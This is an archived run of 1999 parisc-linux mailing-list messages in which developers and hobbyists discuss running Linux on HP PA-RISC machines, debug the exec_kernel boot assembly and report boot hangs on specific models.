<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I recently became the owner of two =
HP PA-RISC=20
systems.&nbsp; </FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>One is a HP 9000 800/H50 with 512MB =
ram, a=20
SCSI/Console/LAN card, a MUX (40299B)</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>The other is a HP 9000 800/G40 with 256MB ram, a=20
SCSI/Console/LAN card, a MUX (20499B), a 16 bit differential SCSI =
(28696-60001)=20
card, and two SCSI/Parallel cards</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Oh, and a SCSI cdrom.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Can someone tell me two things:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>1) Can I make one run linux?</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>2) What are they worth? (Either as a whole or=20
components..)</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Thanks</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>John</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_001E_01BF0204.64F58540--


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] exec_kernel help
Date: Sat, 18 Sep 1999 23:47:22 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <37E478EA.14370720@uswest.net>
References: <37E34387.713858FE@uswest.net> <19990918102923.C5481@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619765 13975 80.91.229.3 (22 Nov 2014 01:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:25 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: rbradetich@uswest.net  Sat Sep 18 22:31:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA11263
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Sep 1999 22:31:25 -0600
Original-Received: (qmail 1265 invoked by uid 15267); 19 Sep 1999 04:33:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1258 invoked from network); 19 Sep 1999 04:33:42 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 19 Sep 1999 04:33:42 -0000
Original-Received: (qmail 5114 invoked by alias); 19 Sep 1999 04:33:39 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 5101 invoked by uid 0); 19 Sep 1999 04:33:38 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 19 Sep 1999 04:33:38 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9931

Philipp Rumpf wrote:

> > I've been struggling with this for the last couple of days, and I'm
> > stuck.  I can build a bootable image, but I can not get it to transfer
> > control to the kernel.  (I'm working on a C200+ which is a PA-8200
> > (PA-RISC 2.0) as Grant pointed out earlier).  I know the first targeted
> > build is for the PA 1.1, but I am willing and would like to get the
> > kernel working on the 2.0 also.
>
> It would be really nice to support PA2.0 in narrow mode.
>
> > Here is the output on the console (I'm typing this in by hand)
>
> Try to get a serial console set up.

Finally after several hours I finally figured out how to setup the serial
console.  (BTW, don't put a null-modem adapter on a null-modem cable, it
doesn't work :()

Well the result is still the same ... It hangs after printing the message
"Transfering control to kernel. (At entry point 0x00010000).  So I'll start
diving into head.S and see if I can trace it from there.

>
> > Transfering control to kernel. (At entry point 0x00010000)
> > -----------------------------------------------------
> >
> > It hangs there and I have to reboot to continue.

> > Any help/pointers would be appreciated :)

>
> okay, both head.S and our console (which is still called pdc_* though it
> really is IODC) rely on pa1.1 firmware.  I am not sure this works on PA2.0
> systems.
>
>         Philipp Rumpf

I'll investigate this and see if I can track it down.  Thanks for the
pointers!

-Ryan



From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2 new boxes I have..
Date: Sun, 19 Sep 1999 14:14:12 -0700 (PDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <199909192114.OAA20845@bart.allegro.com>
References: <002101bf022e$520d0780$ab0228d8@johnshay>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619765 13978 80.91.229.3 (22 Nov 2014 01:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jdelisle@novia.net (John Delisle)
Original-X-From: sieler@bart.allegro.com  Sun Sep 19 15:12:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA12239
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Sep 1999 15:12:11 -0600
Original-Received: (qmail 20084 invoked by uid 15267); 19 Sep 1999 21:14:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20073 invoked from network); 19 Sep 1999 21:14:29 -0000
Original-Received: from unknown (HELO bart.allegro.com) (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 19 Sep 1999 21:14:29 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id OAA20845;
	Sun, 19 Sep 1999 14:14:13 -0700
In-Reply-To: <002101bf022e$520d0780$ab0228d8@johnshay> from "John Delisle" at Sep 18, 99 06:34:08 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9932

Re:

> This is a multi-part message in MIME format.

(Yes, your message is improperly sent in both MIME-encoded ASCII
and HTML ... check your mail program preferences/options/whatever
and uncheck the "send as HTML" option ... save bandwidth, and be
*much* easier to read for users with older mail readers (like elm :))
 
> I recently became the owner of two HP PA-RISC systems. 

> One is a HP 9000 800/H50 with 512MB ram, a SCSI/Console/LAN card, a MUX =
> (40299B)
> 
> The other is a HP 9000 800/G40 with 256MB ram, a SCSI/Console/LAN card, =
> a MUX (20499B), a 16 bit differential SCSI (28696-60001) card, and two =
> SCSI/Parallel cards
> 
> 1) Can I make one run linux?

Well, this is the list to ask, certainly :)
 
> 2) What are they worth? (Either as a whole or components..)

STFW!   :)

Check www.ebay.com, search for "G40" and "H50".  For example,

http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=162760409
http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=154656842

Clearly, search for other permutations: "HP 9000" "HP9000"  
"HP9000/G50" "HP 9000 G50", etc.

> <!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
> <HTML>
> <HEAD>
> <DIV><FONT color=3D#000000 size=3D2>Hi,</FONT></DIV>
> <DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT color=3D#000000 size=3D2>I recently became the owner of two =
> HP PA-RISC=20
> systems.&nbsp; </FONT></DIV>
...

SS


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Questions understanding exec_kernel
Date: Tue, 21 Sep 1999 19:12:06 -0600
Lines: 59
Approved: news@gmane.org
Message-ID: <37E82CE6.3A5DFFB0@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619765 13979 80.91.229.3 (22 Nov 2014 01:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:25 +0000 (UTC)
To: Parisc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: rbradetich@uswest.net  Tue Sep 21 19:16:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA13817
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Sep 1999 19:16:10 -0600
Original-Received: (qmail 31609 invoked by uid 15267); 22 Sep 1999 01:11:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31599 invoked from network); 22 Sep 1999 01:11:50 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 01:11:50 -0000
Original-Received: (qmail 19254 invoked by alias); 22 Sep 1999 01:11:48 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 19242 invoked by uid 0); 22 Sep 1999 01:11:48 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 22 Sep 1999 01:11:48 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9933

Hello hackers:

I'm still trying to debug why I can load the kernel from exec_kernel (in
arch/parisc/boot/boot_code/ipl_s.S)


I've snipped the relevent section of code and have some questions
reguarding it.  (Pleae remember I'm, this is my first attempt with
PA-RISC, and I've been learning by reading the PA-RISC 1.1 Architecture
and Instruction Set Reference Manual, HP Assembler Reference Manual,
various comments throughout the code, and trial and error.)

/*
 *  exec_kernel(entry_point, &commandline, Kernel_FreeMemStart,
half_bss_size );
 *  exec_kernel() calls our kernel...
 */

 .EXPORT exec_kernel,code
 .PROC
 .CALLINFO
 .ENTRY
exec_kernel
 mtsm     %r0                 ; Disable traps and interrupts.

 mtctl    %r0,        %cr17   ; Clear two-level IIA Space Queue
 mtctl    %r0,        %cr17   ;    effectively setting kernel space.
 [Question: Page 5-149 from the PA-RISC 1.1 Architecture and Instruction
Set Reference Manual states: "Level 0:  If the target control register
is CR 8, 9, 12, 13, 17, or 20, this instructin executes as a null
instruction."  I am assuming we are running at level 0 since the rfi
command required running at level 0, so what is the difference between a
null instruction and a nop?]

 mtctl    %arg0,      %cr18   ; Stuff entry point into head of IIA
 ldo      4(%arg0),   %arg0   ;    Offset Queue, and entry point + 4
 mtctl    %arg0,      %cr18   ;    into tail of IIA Offset Queue.

 ldi      0x9,        %arg0   ; Set PSW Q & I bits (collect intrpt
 mtctl    %arg0,      %ipsw   ;    state, allow external intrpts).

 copy     %arg2,      %arg0   ; commandline to arg1
 [Note:  I think the comment is incorrect... we are actually copying the
Kernel_FreeMemStart into arg0 ... Am I missunderstanding the comment?]
                              ; arg3 is not changed..
 .EXIT
 rfi    ; begin execution of kernel.
 nop
 [Question: Page 5-139 from the PA-RISC 1.1 Architecture and Instruction
Set Reference Manual states: "Execution of an RFI instruction when any
of the PSW !, I, or R bits are ones is an undefined operation."  We are
explicitly setting the Q & I bits before calling the rfi command.  I
don't understand how this works ... ]
 .PROCEND

Thanks,
-Ryan



From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Questions understanding exec_kernel
Date: Tue, 21 Sep 1999 21:26:50 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <199909220426.VAA27105@milano.cup.hp.com>
References: <37E82CE6.3A5DFFB0@uswest.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619766 13981 80.91.229.3 (22 Nov 2014 01:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:26 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: grundler@cup.hp.com  Tue Sep 21 22:26:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA14246
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Sep 1999 22:26:00 -0600
Original-Received: (qmail 15929 invoked by uid 15267); 22 Sep 1999 04:28:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15918 invoked from network); 22 Sep 1999 04:28:22 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 04:28:22 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id AAA12268;
	Wed, 22 Sep 1999 00:27:41 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id VAA27105; Tue, 21 Sep 1999 21:26:51 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 21 Sep 1999 19:12:06 PDT."
             <37E82CE6.3A5DFFB0@uswest.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:9934

Ryan Bradetich wrote:
>  [Question: Page 5-149 from the PA-RISC 1.1 Architecture and Instruction
> Set Reference Manual states: "Level 0:  If the target control register
> is CR 8, 9, 12, 13, 17, or 20, this instructin executes as a null
> instruction."  I am assuming we are running at level 0 since the rfi
> command required running at level 0, so what is the difference between a
> null instruction and a nop?]

That's an easy one:
Nullfied instructions are simple ignored - output discarded.
Branch  instructions have a "nullify" flag - the PA1.1 book
probably talks more about details here.

NOP is an instruction which is executed but does nothing useful.
(eg OR  R0, R0, R0) Often used to get precise timing in a loop
or patch out unwanted instructions for self modifing code.

Someone else will have to tackle the RFI question....

grant


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C360 boot problem
Date: Wed, 22 Sep 1999 09:45:51 +0300 (EETDST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9909220937120.2148-100000@gamgee.ntc.nokia.com>
References: <199909220426.VAA27105@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619766 13986 80.91.229.3 (22 Nov 2014 01:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:26 +0000 (UTC)
To: Parisc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: martikka@stybba.ntc.nokia.com  Wed Sep 22 00:43:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA14663
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 00:43:45 -0600
Original-Received: (qmail 14529 invoked by uid 15267); 22 Sep 1999 06:46:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14393 invoked from network); 22 Sep 1999 06:45:56 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 06:45:56 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.9.3/8.9.3) with ESMTP id JAA23028
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 09:45:54 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id JAA22673
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 09:45:54 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id JAA29078
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 09:45:52 +0300 (EET DST)
In-Reply-To: <199909220426.VAA27105@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9935

Hi!

I downloaded the latest kernel(+ramdisk) from CVS and tried it on my C360.
It does not print anything on screen but just blinks the leds. Here's what
it looks like:

Leds:	1234
	II
	I  I
	I I 
and then from the begining...

I guess it is trying to tell me something, but what?

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 14:48:17 +0300 (EETDST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9909221438440.2148-100000@gamgee.ntc.nokia.com>
References: <199909162158.OAA21289@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619766 13989 80.91.229.3 (22 Nov 2014 01:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martikka@stybba.ntc.nokia.com  Wed Sep 22 05:46:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA15316
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 05:46:00 -0600
Original-Received: (qmail 14296 invoked by uid 15267); 22 Sep 1999 11:48:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14288 invoked from network); 22 Sep 1999 11:48:22 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 11:48:22 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.9.3/8.9.3) with ESMTP id OAA04101
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 14:48:20 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id OAA13856
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 14:48:18 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id OAA13880
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 14:48:17 +0300 (EET DST)
In-Reply-To: <199909162158.OAA21289@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9936

Hei!


With 715/80 I get following:

Boot
:disk(....)/stand/vmlinux

GRs

0x00000000
...
	<bunch of HEX-values>
CRs

	<bunch of HEX-values>
SRs

	<bunch of HEX-values>
OTHER

	<bunch of HEX-values>

and then nothing...
It should be plain 715 but I have addon X.25 card on this machine (EISA?)

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hai Vo-Ba <hai@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Questions understanding exec_kernel
Date: Wed, 22 Sep 1999 06:46:31 -0600 (MDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <199909221246.GAA29606@hpeshai.fc.hp.com>
References: <37E82CE6.3A5DFFB0@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619766 13993 80.91.229.3 (22 Nov 2014 01:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rbradetich@uswest.net
Original-X-From: hai@fc.hp.com  Wed Sep 22 06:44:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA15682
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 06:44:13 -0600
Original-Received: (qmail 28976 invoked by uid 15267); 22 Sep 1999 12:46:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28969 invoked from network); 22 Sep 1999 12:46:36 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 12:46:36 -0000
Original-Received: from hpeshai.fc.hp.com (hpeshai.fc.hp.com [15.6.88.112])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id IAA06714;
	Wed, 22 Sep 1999 08:45:52 -0400 (EDT)
Original-Received: (from hai@localhost)
	by hpeshai.fc.hp.com (8.8.6/8.8.6) id GAA29606;
	Wed, 22 Sep 1999 06:46:31 -0600 (MDT)
In-Reply-To: <37E82CE6.3A5DFFB0@uswest.net> from Ryan Bradetich at Sep "21," 1999 "07:12:06" pm
X-Mailer: ELM [Revision: 213.1]
Xref: news.gmane.org gmane.linux.ports.parisc:9937


>  .EXIT
>  rfi    ; begin execution of kernel.
>  nop
>  [Question: Page 5-139 from the PA-RISC 1.1 Architecture and Instruction
> Set Reference Manual states: "Execution of an RFI instruction when any
> of the PSW !, I, or R bits are ones is an undefined operation."  We are
> explicitly setting the Q & I bits before calling the rfi command.  I
> don't understand how this works ... ]
>  .PROCEND

    If I remember right, RFI followed by a NOP is an idiom to tell the CPU
  to start fetching instructions from an absolute address pointed to by the
  IVA so we usually want to that with interrupts enabled (Q & I bits set).

  --Hai 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Questions understanding exec_kernel
Date: Wed, 22 Sep 1999 15:29:37 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <19990922152937.Y5481@suse.de>
References: <37E82CE6.3A5DFFB0@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619767 13996 80.91.229.3 (22 Nov 2014 01:29:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:27 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: prumpf@suse.de  Wed Sep 22 07:27:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA16020
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 07:27:16 -0600
Original-Received: (qmail 9259 invoked by uid 15267); 22 Sep 1999 13:29:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9252 invoked from network); 22 Sep 1999 13:29:39 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 13:29:39 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 61BF532D04; Wed, 22 Sep 1999 15:29:38 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 07B1967BE; Wed, 22 Sep 1999 15:29:38 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 7B5817F8B; Wed, 22 Sep 1999 15:29:37 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <37E82CE6.3A5DFFB0@uswest.net>; from Ryan Bradetich on Tue, Sep 21, 1999 at 07:12:06PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9938

> /*
>  *  exec_kernel(entry_point, &commandline, Kernel_FreeMemStart,
> half_bss_size );
>  *  exec_kernel() calls our kernel...
>  */
> 
>  .EXPORT exec_kernel,code
>  .PROC
>  .CALLINFO
>  .ENTRY
> exec_kernel
>  mtsm     %r0                 ; Disable traps and interrupts.
> 
>  mtctl    %r0,        %cr17   ; Clear two-level IIA Space Queue
>  mtctl    %r0,        %cr17   ;    effectively setting kernel space.
>  [Question: Page 5-149 from the PA-RISC 1.1 Architecture and Instruction
> Set Reference Manual states: "Level 0:  If the target control register
> is CR 8, 9, 12, 13, 17, or 20, this instructin executes as a null
> instruction."  I am assuming we are running at level 0 since the rfi
> command required running at level 0, so what is the difference between a
> null instruction and a nop?]

Level 0 refers to the hardware here.  Level 0 hardware basically has no MMU,
so Linux will never run on it (does HP/UX ?)

>  copy     %arg2,      %arg0   ; commandline to arg1
>  [Note:  I think the comment is incorrect... we are actually copying the
> Kernel_FreeMemStart into arg0 ... Am I missunderstanding the comment?]

No, looks like the comment did not get changed when the instruction did.

>                               ; arg3 is not changed..
>  .EXIT
>  rfi    ; begin execution of kernel.
>  nop
>  [Question: Page 5-139 from the PA-RISC 1.1 Architecture and Instruction
> Set Reference Manual states: "Execution of an RFI instruction when any
> of the PSW !, I, or R bits are ones is an undefined operation."  We are
> explicitly setting the Q & I bits before calling the rfi command.  I
> don't understand how this works ... ]

We did execute mtsm 0 which sets the system mask (which includes the Q, I and
R bits) to 0.

	Philipp Rumpf


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Questions understanding exec_kernel
Date: Wed, 22 Sep 1999 15:32:24 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <19990922153224.Z5481@suse.de>
References: <37E82CE6.3A5DFFB0@uswest.net> <199909220426.VAA27105@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619767 13997 80.91.229.3 (22 Nov 2014 01:29:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:27 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
        Parisc Linux <parisc-linux@thepuffingroup.com>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Wed Sep 22 07:30:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA16184
